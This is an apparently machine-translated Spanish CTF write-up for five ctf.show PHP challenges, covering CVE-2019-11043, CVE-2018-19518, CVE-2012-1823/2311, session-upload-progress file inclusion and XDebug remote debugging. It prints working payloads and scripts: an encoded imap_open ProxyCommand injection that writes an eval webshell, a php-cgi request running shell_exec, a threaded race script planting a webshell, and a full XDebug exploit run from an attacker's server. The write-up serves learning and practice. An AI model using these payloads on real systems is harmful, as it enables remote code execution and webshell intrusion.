CTFmostrar phpCVE web311
CVE-2019-11043
Descripción de la vulnerabilidad
CVE-2019-11043 es una vulnerabilidad de ejecución remota de código. Los servidores que utilizan ciertas configuraciones específicas de Nginx + PHP-FPM son vulnerables, lo que permite a los atacantes ejecutar código de forma remota.
Al enviar %0a a la URL del servidor Nginx + PHP-FPM, el servidor devolvió una excepción.
Esta vulnerabilidad requiere que se active una configuración específica en nginx.conf. La configuración específica es la siguiente:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
Un atacante puede utilizar el carácter de nueva línea (%0a) para romper fastcgi_split_path_infola expresión regular en la directiva. Regexp está corrupta, lo que hace que PATH_INFO esté vacía, lo que desencadena la vulnerabilidad.
Esfera de influencia
En el entorno Nginx + PHP-FPM, cuando la configuración de Nginx anterior está habilitada, las siguientes versiones de PHP se ven afectadas por esta vulnerabilidad. Además, la versión PHP 5.6 también se ve afectada por esta vulnerabilidad, pero actualmente solo se puede bloquear y no se puede bloquear. ejecutado de forma remota:
- Versión PHP 7.0
- PHP versión 7.1
- PHP versión 7.2
- PHP versión 7.3
La herramienta que vamos a utilizar para hacer las preguntas está phuip-fpizdambasada en el lenguaje Go.
Primero configure el entorno del idioma y las herramientas en la máquina virtual. (raíz)
//更新一下apt
apt-get update
apt-get install --fix-missing
apt --fix-broken install -y
//安装go
apt install golang
//测试是否成功
go -version
//下载工具源码，下不了的话科学上网开全局
git clone https://github.com/neex/phuip-fpizdam.git
//查看go环境信息
go env
//目录跳转
cd phuip-fpizdam
//安装所需
go get -v && go build
//如果上条安装所需没反应或者报错，就先执行下面这题（切换代理），然后再安装所需
go env -w GOPROXY=https://goproxy.cn
Todo está listo, comienza el tema.
Primero, eche un vistazo al paquete de red:
Server:nginx/1.18.0 (Ubuntu)
X-Powered-By:PHP/7.1.33dev
Obviamente es CVE-2019-11043la característica y la versión también la satisface. Elegimos utilizar herramientas y una lanzadera.
Abra una terminal en la carpeta de herramientas, cambie a raíz y ejecute: (agregue uno después de la URL /index.php)
go run . "http://7077faca-4cc2-4f4f-8ac5-0528865a46ca.challenge.ctf.show/index.php"
/index.php?a=Luego ingrese el comando en la máquina de destino para obtener el shell directamente. (Si no puedes sacarlo, envíalo unas cuantas veces más)
Consejo amigable de PNiu: debe tener en cuenta que solo algunos de los procesos secundarios de PHP-FPM están contaminados, así que intente ejecutar el comando varias veces.
CTFmostrar phpCVE web312
CVE-2018-19518
Introducción a la vulnerabilidad
La función principal del protocolo IMAP (Protocolo de acceso a mensajes de Internet) es que el cliente de correo electrónico puede obtener información del correo electrónico del servidor de correo, descargar correos electrónicos, etc. a través de este protocolo. Se ejecuta en el protocolo TCP/IP y utiliza el puerto 143. Lo que se llama en php es la función imap_open.
Una vulnerabilidad en la función imap_open de PHP podría permitir que un atacante remoto autenticado ejecute comandos arbitrarios en el sistema de destino. La vulnerabilidad existe porque la función imap_open del software afectado filtra incorrectamente los nombres de los buzones antes de pasarlos al comando rsh o ssh. Si las funciones rsh y ssh están habilitadas y el comando rsh es un enlace simbólico al comando ssh, un atacante podría aprovechar esta vulnerabilidad enviando un nombre de servidor IMAP malicioso que contenga el parámetro -oProxyCommand al sistema de destino. Un exploit exitoso podría permitir al atacante eludir la funcionalidad ejecutiva que de otro modo estaría deshabilitada en el software afectado, que el atacante podría aprovechar para ejecutar comandos de shell arbitrarios en el sistema de destino. El código funcional que explota esta vulnerabilidad es parte de Metasploit Framework.
imap_open(string $mailbox,string $user,string $password)
Los parámetros mailboxse utilizan para conectarse al servidor de buzones de correo. sshLlamará a rsh para conectarse al shell remoto, que se usa de forma predeterminada en debian/ubuntu rsh, como se muestra a continuación:
Y debido a que el comando ssh puede -oProxyCommand=llamar comandos de terceros a través de la configuración, el atacante eventualmente causará una vulnerabilidad de ejecución de comandos al inyectar este parámetro.
ssh -oProxyCommand ="tac /flag|tee /tmp/executed"localhost
#其中管道符tee意思是将内容追加到文件并且在屏幕输出
Se puede ver que aunque la conexión no fue exitosa, escribimos exitosamente el comando en el archivo, por lo que esta es la razón por la cual nuestro sistema fue atacado.
ProxyCommand, dicho comando para conectarse al servidor se detalla a continuación:
ProxyCommand especifica el comando utilizado para conectarse al servidor. La cadena de comando se expande hasta el final de la línea y se ejecuta usando el comando 'exec' del shell del usuario para evitar procesos de shell retrasados. ProxyCommand acepta argumentos para tokens descritos en la sección TOKENS. El comando puede ser básicamente cualquier cosa y debe leerse desde su entrada estándar y escribirse en su salida estándar. Eventualmente debería conectarse a un servidor sshd que se ejecuta en alguna máquina o ejecutar sshd -i en algún lugar. La administración de claves de host se realizará utilizando el nombre de host del host conectado (el valor predeterminado es el nombre escrito por el usuario). Establecer el comando en ninguno deshabilita completamente esta opción. Tenga en cuenta que CheckHostIP no puede conectarse con el comando proxy. Esta directiva es útil junto con nc y su soporte de proxy. Por ejemplo, el siguiente comando se conectará a través del proxy HTTP de 192.0.2.0: ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
También hay problemas al analizar el comando. Para evitar el escape de barras y espacios. Utilice la codificación $IFS y \t o base64 y comandos relacionados para decodificar. como sigue:
echo "echo hello|tee /tmp/executed"|base64
ehco ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|base64 -d|bash
Versiones afectadas
Ubuntu, Debian, Red Hat, SUSE
PHP 5.6.x <5.6.39
Empieza a hacer las preguntas. La interfaz inicial es el inicio de sesión por correo electrónico y se pueden ingresar tres parámetros: correo electrónico, cuenta y contraseña. Es característico de CVE-2018-19518.
Mire la red, se cumplen las condiciones de la versión.
Tome un paquete y eche un vistazo. Los tres parámetros son hostname, y supongo que el lenguaje PHP backend usa declaraciones. Para cumplir las condiciones.usernamepasswordimap_open(string $mailbox,string $user,string $password)
Arregla directamente la carga útil:
# 原始payload
x+-oProxyCommand=echo echo '<?php eval($_POST[1]);' > /var/www/html/1.php|base64 -d|sh}
# base64+url编码以后
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}
# 模板
hostname=x+-oProxyCommand%3decho%09【要执行命令的base64】|base64%09-d|sh}&username=xxx&password=xxx
Carga útil final:
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}&username=xxx&password=xxx
Para acceder /1.php, obtenga Shell directamente.
CTFmostrar phpCVE web313
CVE-2012-1823
PHP SAPI y modo de ejecución
Primero, introduzcamos el modo operativo de PHP.
Descargue el código fuente PHP y podrá ver que hay un directorio llamado sapi. La función de sapi en PHP es similar a la "entrega" de mensajes, como fpm presentado en el artículo " Análisis de protocolo Fastcgi y vulnerabilidad de acceso no autorizado PHP-FPM y escritura Exp ". Su función es aceptar el contenedor web a través de fastcgi. Los datos son encapsulados por el protocolo y entregados al intérprete PHP para su ejecución.
Además de fpm, el sapi más común debería ser mod_php para Apache, que se utiliza para el intercambio de datos entre php y apache.
php-cgi también es un sapi. En la antigüedad, el método de ejecución de las aplicaciones web era muy simple: después de recibir el paquete http, el contenedor web obtenía el archivo solicitado por el usuario (script cgi), bifurcaba un proceso secundario (intérprete) para ejecutar el archivo y luego obtenía El resultado de la ejecución se devuelve directamente al usuario y el subproceso del intérprete finaliza al mismo tiempo. La mayoría de las aplicaciones web basadas en bash, perl y otros lenguajes se ejecutan de esta manera. Este método de ejecución generalmente se llama cgi. Al instalar Apache, hay un directorio cgi-bin por defecto, que se utilizaba para colocar estos scripts cgi en el primero. de.
Sin embargo, el modo cgi tiene un defecto fatal: como todos sabemos, la creación y programación de procesos tiene un cierto costo y el número de procesos no es ilimitado. Por lo tanto, los sitios web que se ejecutan en modo cgi generalmente no pueden aceptar una gran cantidad de solicitudes al mismo tiempo; de lo contrario, cada solicitud genera un proceso secundario que puede saturar el servidor . Luego vino fastcgi. El proceso fastcgi siempre puede ejecutarse solo en segundo plano, aceptar paquetes de datos a través del protocolo fastcgi y devolver resultados después de la ejecución, pero no sale.
PHP tiene un sapi llamado php-cgi. php-cgi tiene dos funciones: una es proporcionar interacción en modo cgi y la otra es proporcionar interacción en modo fastcgi. En otras palabras, al igual que Perl, podemos permitir que el contenedor web bifurque directamente un proceso php-cgi para ejecutar un script; también podemos ejecutarlo en segundo plano (php- php-cgi -b 127.0.0.1:9000cgi sirve como administrador de fastcgi) y dejar que el contenedor web interactuar con 9000 usando el protocolo fastcgi.
Entonces, ¿cuál es el fpm que mencioné antes? ¿Por qué php tiene dos administradores fastcgi? PHP tiene dos administradores fastcgi, php-cgi puede ejecutarse en modo fastcgi y fpm también se ejecuta en modo fastcgi. Pero fpm fue introducido por PHP después de la versión 5.3. Es un administrador fastcgi más eficiente. No entraré en detalles sobre sus muchas ventajas. Puedes comprobar el código fuente tú mismo. Debido a que fpm tiene más ventajas, cada vez más aplicaciones web usan php-fpm para ejecutar php.
Cuatro modos de funcionamiento de PHP
(1) CGI
El nombre completo es "Common Gateway Interface". Permite a un cliente solicitar datos desde un navegador web a un programa que se ejecuta en un servidor web. Describe el proceso de transmisión de datos entre el cliente y este programa. Además, CGI es independiente de cualquier idioma, por lo que se puede escribir en cualquier idioma, siempre que el idioma tenga variables estándar de entrada, salida y entorno. Como php, perl, tcl, etc.
CGI necesita abrir un subproceso separado para mantenimiento para cada solicitud de usuario, por lo que ocurrirán problemas de rendimiento cuando el número sea grande y rara vez se ha utilizado en los últimos años.
(2)CGI rápido
FastCGI, una versión mejorada de CGI, es como un CGI de larga duración. Se puede ejecutar todo el tiempo. Mientras esté activado, no perderá tiempo analizando php.ini y recargando todos los archivos DLL cada vez. Expandir y reinicializar todas las estructuras de datos.
PHP utiliza PHP-FPM (FastCGI Process Manager), el nombre completo de PHP FastCGI Process Manager, para la gestión.
(3) CLI
PHP-CLI es la abreviatura de PHP Command Line Interface, que es la interfaz para que PHP se ejecute en la línea de comandos, que es diferente del entorno PHP (PHP-CGI, etc.) que se ejecuta en el servidor web.
En el modo php-cli podemos iniciar directamente un archivo php y ejecutarlo, como en trabajador
(4) Carga del módulo
Este método es generalmente para Apache y ejecuta php como un submódulo de Apache.
Alcance de la vulnerabilidad
La vulnerabilidad afecta a las versiones PHP < 5.3.12 y PHP < 5.4.2
CVE-2012-1823 es una vulnerabilidad que ocurre en el modo de ejecución php-cgi. La vulnerabilidad solo aparece en php que se ejecuta en modo cgi.
Causas de vulnerabilidad
En pocas palabras, esta vulnerabilidad es que la cadena de consulta solicitada por el usuario (cadena de consulta significa literalmente cadena de consulta, generalmente analiza los datos incluidos en la solicitud http, aquí solo los datos incluidos en la solicitud http) se usa como parámetro PHP -cgi en última instancia conducirá a una serie de resultados.
RFC3875 estipula que cuando la cadena de consulta no contiene un =número no decodificado, la cadena de consulta debe pasarse como parámetro de cgi. Entonces el servidor Apache implementa esta funcionalidad según sea necesario. Pero PHP no prestó atención a esta regla de RFC, tal vez lo haya notado y lo haya solucionado. La forma de solucionarlo es que los parámetros entrantes no están permitidos en el contexto web.
From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)
In our SAPI cgi we have a check along these lines:
if (getenv("SERVER_SOFTWARE")
|| getenv("SERVER_NAME")
|| getenv("GATEWAY_INTERFACE")
|| getenv("REQUEST_METHOD")) {
cgi = 1;
}
if(!cgi) getopt(...)
As in, we do not parse command line args for the cgi binary if we are
running in a web context. At the same time our regression testing system
tries to use the cgi binary and it sets these variables in order to
properly test GET/POST requests. From the regression testing system we
use -d extensively to override ini settings to make sure our test
environment is sane. Of course these two ideas conflict, so currently our
regression testing is somewhat broken. We haven't noticed because we
don't have many tests that have GET/POST data and we rarely build the cgi
binary.
The point of the question here is if anybody remembers why we decided not
to parse command line args for the cgi version? I could easily see it
being useful to be able to write a cgi script like:
#!/usr/local/bin/php-cgi -d include_path=/path
<?php
...
?>
and have it work both from the command line and from a web context.
As far as I can tell this wouldn't conflict with anything, but somebody at
some point must have had a reason for disallowing this.
-Rasmus
#!/usr/local/bin/php-cgi -d include_path=/pathSin embargo, para facilitar las pruebas utilizando métodos de escritura similares, el desarrollador cree que no se debe restringir a php-cgi la aceptación de parámetros de línea de comando, y esta función no entra en conflicto con otros códigos.
if(!cgi) getopt(...)Por lo tanto, se eliminó el programa fuente .
Según la descripción de la línea de comando en RFC, los parámetros de la línea de comando no solo se pueden #!/usr/local/bin/php-cgi -d include_path=/pathpasar a php-cgi a través de , sino también a través de querystring.
explotar
Los siguientes parámetros de línea de comando controlables están disponibles en modo cgi:
-cEspecifique la ubicación del archivo php.ini (archivo de configuración PHP)-nNo cargue el archivo php.ini-dEspecificar elementos de configuración-bIniciar el proceso fastcgi-sMostrar el código fuente del archivo-TEjecutar el archivo veces especificadas-hy-?mostrar ayuda
Entonces, la forma más sencilla de usarlo es -smostrar directamente el código fuente:
La filtración del código fuente muestra que la vulnerabilidad existe. Mire la red, la versión es PHP 5.4.1y se cumplen las condiciones.
Una mejor forma de explotarlo es crear una vulnerabilidad de inclusión de archivos arbitraria y ejecutar código arbitrario usando -dla especificación auto_prepend_file: (donde se usa "+" en lugar de "espacio", y "=" y ":" están codificados en URL)
El principio es: usar parámetros de línea de comando controlables -dpara allow_url_includeestablecer el valor ony usar auto_prepend_filela función para cargar el archivo en la parte superior de la página, y construir el archivo cargado como php://inputlos datos POST originales leídos (es decir, el resultado de la ejecución de la transmisión data <?php echo shell_exec("ls");?>) y pasar al paquete de respuesta. El paquete de solicitud se construye de la siguiente manera:
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
...
...
...
<?php echo shell_exec("ls");?>
Los resultados de la ejecución de la construcción en burp son los siguientes y la bandera se obtiene con éxito:
CVE-2012-2311
Después de que se expuso esta vulnerabilidad, los funcionarios de PHP la parchearon y lanzaron las nuevas versiones 5.4.2 y 5.3.12. Sin embargo, esta reparación estaba incompleta y podía omitirse, lo que resultó en la vulnerabilidad CVE-2012-2311.
La solución de PHP es -verificar:
if(query_string = getenv("QUERY_STRING")) {
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
skip_getopt = 1;
}
free(decoded_query_string);
}
Se puede ver que después de obtener la cadena de consulta, decodifíquela, si el primer carácter es, -configure skip_getopt, es decir, no obtenga los parámetros de la línea de comando.
La parte insegura de este método de reparación es que si la operación y mantenimiento encapsula php-cgi:
#!/bin/sh
exec /usr/local/bin/php-cgi $*
Los parámetros también se pueden pasar utilizando caracteres de espacio en blanco -. En este momento, el primer carácter de la cadena de consulta es un carácter en blanco en lugar de un carácter en blanco -, sin pasar por la verificación anterior.
Por lo tanto, las modificaciones continuaron en php5.4.3 y php5.3.13:
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}
Primero omita todos los espacios en blanco (todos los caracteres menores o iguales que espacios) y luego determine si el primer carácter es -.
Corrección de errores
El principio de reparación es: decodificar después de obtener la cadena de consulta, primero omitir todos los espacios en blanco (todos los caracteres menores o iguales a espacios) y luego determinar si el primer carácter es -. Si el primer carácter se -establece en skip_getopt, es decir, no se obtienen los parámetros de la línea de comando. El código fuente de reparación es el siguiente.
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}
CTFmostrar phpCVE web314
Esta pregunta no es un CVE, es PHP_SESSION_UPLOAD_PROGRESSuna inclusión de archivo.
El código fuente se proporciona directamente. Con los dos puntos deshabilitados, el archivo no se puede leer utilizando el pseudoprotocolo.
La lectura de archivos normalmente funciona bien.
En /phpinfo.phpel enrutamiento (adivinando por los comentarios del código fuente, dirsearch también puede escanearlo directamente). Encontré la interfaz phpinfo().
Navegando phpinfo(), encontré que la sesión estaba habilitada y el nombre de sesión era PHPSESSID.
Cuando consideramos PHP_SESSION_UPLOAD_PROGRESSla inclusión de archivos, debemos utilizar competencia condicional para leer y escribir al mismo tiempo.
El guión es el siguiente:
import requests
import io
import threading
url = 'http://0de8a71e-a2a7-4d86-9cf7-c0ac1653ae3c.challenge.ctf.show/'
file_name="/var/www/html/1.php"
file_content='<?php eval($_POST[1]);?>'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS':f"<?php echo 'success!'; file_put_contents('{
file_name}','{
file_content}');?>"
}#写一句话木马到文件
while event.isSet():
f = io.BytesIO(b'a'*1024*50)
session.post(url,cookies={
'PHPSESSID':'lalalala'},data=data,files={
'file':('xxx',f)})
def read(session):
while event.isSet():
response = session.post(url+'?f=/tmp/sess_lalalala')
if 'success!' in response.text:#判断
print("写入成功，访问1.php getshell")
event.clear()#终止进程
break
else:
pass
if __name__=='__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(10):#开启十条进程
threading.Thread(target=write,args=(session,)).start()
for i in range(10):
threading.Thread(target=read,args=(session,)).start()
Esta pregunta también se puede incluir en el archivo de registro, por lo que no entraré en detalles.
CTFmostrar phpCVE web315
Descripción del título: La depuración está activada, puerto 9000
Basta con mirar la descripción del título de un vistazo.XDebug 远程调试漏洞
condición:
Active el modo de depuración remota y configure
remote_connect_back = 1xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
开启了远程调试模式，并设置`remote_connect_back = 1`
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
Bajo esta configuración, cuando visitamos http://target-url/index.php?XDEBUG_SESSION_START=phpstorm, el XDebug del servidor de destino se conectará a la IP del visitante (o X-Forwarded-Forla dirección especificada en el encabezado) y se comunicará con él a través del protocolo dbgp. Podemos ejecutar cualquier código PHP en el servidor de destino a través del Método de evaluación proporcionado en dbgp.
El script de utilización es el siguiente: (XDebug_exp.py) colocado en vps
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutor
pool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}
def recv_xml(sock):
blocks = []
data = b''
while True:
try:
data = data + sock.recv(1024)
except socket.error as e:
break
if not data:
break
while data:
eop = data.find(b'\x00')
if eop < 0:
break
blocks.append(data[:eop])
data = data[eop+1:]
if len(blocks) >= 4:
break
return blocks[3]
def trigger(url):
time.sleep(2)
try:
session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)
except:
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
parser.add_argument('-t', '--target', required=True, help='target url.')
parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')
args = parser.parse_args()
ip_port = ('0.0.0.0', args.listen)
sk = socket.socket()
sk.settimeout(10)
sk.bind(ip_port)
sk.listen(5)
pool.submit(trigger, args.target)
conn, addr = sk.accept()
conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))
data = recv_xml(conn)
print('[+] Recieve data: ' + data.decode())
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
if not g:
print('[-] No result...')
sys.exit(0)
data = g.group(1)
try:
print('[+] Result: ' + base64.b64decode(data).decode())
except binascii.Error:
print('[-] May be not string result...')
Cómo usar el script: (-l especifica el puerto, la pregunta aquí es 9000. Está bien si no lo agrega, el script está predeterminado en el puerto 9000) Ejecute el script en el vps
python3 XDebug_exp.py -t 【靶机url】/index.php -c 'shell_exec("id");' -l 9000
Empieza a hacer las preguntas:
Características del juicio de vulnerabilidad: (satisfecho)
Cuando accedamos /index.php?XDEBUG_SESSION_START=phpstorm, habrá un paquete más devuelto Set-Cookie, el contenido es XDEBUG_SESSION=phpstorm;....
Coloque el script en el vps, cd al directorio correspondiente y ejecute:
python3 XDebug_exp.py -t http://pwn.challenge.ctf.show:28100/index.php -c 'shell_exec("tac flaaaxx.php");' -l 9000
Para más estudios, consulte:
[Xdebug: Una pequeña superficie de ataque - Blog de Ricter (ricterz.me)](https://blog.ricterz.me/posts/Xdebug: Una pequeña superficie de ataque)